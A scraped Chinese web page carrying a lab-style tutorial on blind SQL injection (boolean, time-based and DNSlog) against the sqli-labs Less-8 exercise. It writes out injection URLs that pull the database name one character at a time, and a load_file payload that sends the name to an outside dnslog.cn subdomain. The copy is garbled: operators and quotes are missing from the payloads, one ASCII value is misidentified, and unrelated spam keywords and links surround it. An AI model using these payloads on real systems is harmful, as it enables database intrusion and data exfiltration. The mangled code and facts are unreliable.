当前位置: 首页 > news >正文

北京做网站s安卓应用开发工具

北京做网站s,安卓应用开发工具,如何安装wordpress图解,wordpress多语言建站文章目录 目录 一.盲注概述 布尔盲注#xff1a; 时间盲注#xff1a; 一.盲注概述 注是一种SQL注入攻击的形式#xff0c;在这种攻击中#xff0c;攻击者向目标应用程序发送恶意注入代码#xff0c;然后通过观察应用程序的响应来推断出数据库中的信息。与常规的SQL注入…文章目录 目录 一.盲注概述 布尔盲注 时间盲注  一.盲注概述 注是一种SQL注入攻击的形式在这种攻击中攻击者向目标应用程序发送恶意注入代码然后通过观察应用程序的响应来推断出数据库中的信息。与常规的SQL注入攻击不同的是盲注攻击是页面不会将报错信息回显以及没有明显回显位的情况下页面不直接返回任何有关数据库的具体错误信息导致攻击者无法直接获得数据库中的数据。 盲注可以分为基于布尔逻辑的盲注和基于时间的盲注两种形式。 基于布尔逻辑的盲注攻击者通过在恶意注入代码中利用布尔逻辑运算符如AND、OR来判断条件是否为真从而推断出数据库中的信息。例如攻击者可以通过尝试不同的条件来逐位地猜测数据库中的某个字符。 基于时间的盲注攻击者在恶意注入代码中添加延时函数或sleep函数通过观察应用程序是否延时来判断条件是否为真。例如攻击者可以通过尝试不同的条件来判断数据库中某个字段的值是否满足条件并通过延时函数来推断出正确的条件。 布尔盲注 使用布尔盲注的页面通常只有两种页面效果即正确页面和错误页面。 正确页面SQL语句能够被执行显示的页面如下图 http://192.168.100.10/sql/Less-8/index.php?id1 错误页面 SQL语句不能够被执行显示的页面如下图 http://192.168.100.10/sql/Less-8/index.php?id1 无论正确页面或错误页面都无法直接回显数据那么在这种情况下如何通过sql注入获取信息 我们可以利用SQL语句被执行返回正确页面SQL语句不能被正确执行返回错误页面来帮助我们判断我们输入的SQL语句是否正确从而判断我们想要的信息是否属于该数据库。      演示案例 http://192.168.100.10/sql/Less-8/index.php?id1 and ascii(e)101--注ascii()函数可以将查询的内容转化为ascii码数字字母e对应的数字是101SQL语句分析利用页面回显正确和错误的特性若字母e对应的ascii码101.则返回正确页面 通过上述案例可以了解如何利用数据库帮助我们判断查询的信息是否正确因此可以利用这一漏洞插入SQL语句来查询我们想要的信息 演示案例: 想要知晓当前页面查询的数据库名可以通过ascii码值倒推出该数据库名例如ascii(e)101 中 页面显示为正确页面则代表数据库名中包含字母e显而易见我们同样可以利用该数据库名是否在某一特定的区间内来判断当前页面查询的数据库名。案例如下若该查询数据的acsii在大于100 小于102.则代表查询出的数据是字母e http://192.168.100.10/sql/Less-8/index.php?id1 and ascii(substr((select database()),2,1))101--注ascii()函数默认转译查询到数据的第一个字母且最大显示32位数据substr((sql语句),2,1) 从第二个字符开始显示每次显示一个字符SQL语句分析上述页面执行为正确页面说明。查询出的数据库名中的第二个字符是e#查询数据库名中的第一个字母 http://192.168.100.10/sql/Less-8/index.php?id1 and ascii(substr((select database()),1,1))101--注执行成功代表库名第一个字母ascii码大于101http://192.168.100.10/sql/Less-8/index.php?id1 and ascii(substr((select database()),1,1))114--注执行成功代表库名第一个字母ascii码大于114http://192.168.100.10/sql/Less-8/index.php?id1 and ascii(substr((select database()),1,1))116--注执行成功代表库名第一个字母ascii码小于116因此通过不断的迭代缩小ascii码范围可确定库名第一个字母ascii码大于114小于116最终确定库名首字母ascii码是115 即字母b 时间盲注  当页面没有报错回显回显位真假页面时可以通过应用程序是否延迟来判断恶意SQL语句是否执行成功。 http://192.168.100.10/sql/Less-8/index.php?id1 and if(ascii(substr((select database()),2,1))101,sleep(1),sleep(3))--注sleep()延迟函数使程序延迟执行if(SQL语句sleep(1),sleep(3)):SQL语句执行成功程序延迟1秒执行未成功延迟3秒执行 DNSlog盲注  布尔盲注和时间盲注的缺点需要大量的迭代查询而DNSlog盲注则可以一步到位直接回显出我们需要的信息; DNSlog可以拆开分为 DNSlog域名解析日志DNS域名服务器/DNS日志服务器会将请求解析的域名记录在日志中DNS日志和sql注入又有什么联系有没有一种办法可以使安装数据库的服务器向DNS服务器请求域名解析当服务器请求DNS解析域名的时候我们可不可以在域名中插入恶意的SQL语句呢这样我们需要解析的域名就会被显示到DNS日志服务器上 为了完成上述目标我们需要了解以下内容 确保数据库有读写权限 load_file()函数 用于从文件系统中读取文件内容并将其作为字符串返回到 SQL 查询结果中 UNC路径 \\IP(域名)\share\path\fileIP:需要访问的主机IP share表示共享资源的名称。 path表示共享资源中的路径可选。 file表示具体的文件名可选。 UNC路径是用于标识网络共享资源的一种命名约定UNC路径可以在本地文件系统中的路径上直接使用以方便访问网络共享资源。 DNSlog注入中我们可以在注入时使用load_file(UNC路径)指示数据库去访问该路径下的内容并在访问的同时触发UNC路径去请求DNS服务器解析域名而我们可以在需要解析的域名中插入SQL语句案例如下 id1 and (select load_file(concat(//,(selectdatabase()).ryw4a6.dnslog.cn/benben.txt))) -- 执行上述SQL注入语句后DNS日志服务器中就可以查询到刚刚请求解析的域名而secyrty就是我们想要知道的数据库名下述DNS日志服务器可以记录以ryw4a6.dnslog.cn结尾的域名请求记录 总结
http://www.hkea.cn/news/14298382/

相关文章:

  • 公司做网站费用入什么科目做的网站百度上可以搜到吗
  • 井祥交通建设工程有限公司 网站帮别人做非法网站自首
  • 记事本做网站代码郑州网络公司哪个最好
  • 河北营销类网站设计市场营销策划方案怎么写
  • 什么网站做英语翻译练习建设库官网查询系统
  • 微博营销技巧企业网站建设营销优化方案
  • 群艺馆网站建设方案国外做多媒体展览的网站
  • 做学校网站的济南公司重庆做网站 外包公司有哪些
  • 单位门户网站建设的请示网站做哪种推广好
  • 营销型网站建设注意wordpress增加登陆功能
  • 网站做推广页需要什么商贸公司起名字大全免费
  • 北京市网站公司网站试用网站如何做
  • 安康网站建设制作广告运营
  • 代理网站哪个好网站建设与代运营产品介绍
  • 京东网站推广方式设计网站公司的口号
  • 网站建设项目经费的报告技术支持:佛山网站建设
  • 崇川区城乡建设局网站建设局和住建局的区别
  • 电白手机网站建设公司创建网站的英语
  • 怎么查看网站是否被百度惩罚降权或者被k公众号开发河北米云
  • 上海建设工程招投标在什么网站邢台谷歌seo
  • 效果图网站推荐大全.net网站 开发
  • 海外网站搭建网页制作怎么输入文字
  • 网站有哪些区别中国移动积分商城官网
  • 为什么建设网站很多公司没有网站模版与模板的使用
  • 东莞长安网站推广公司工程项目流程八个阶段
  • 网站开发的服务器是什么社区微网站建设方案ppt模板下载
  • 作业3 主题资源网站建设wordpress 开源
  • 怎么做刷业网站重庆点优建设网站公司
  • 网站建设中主页指的是网站建设方案策划
  • 营销网站的宣传、推广与运作服务器主机 网站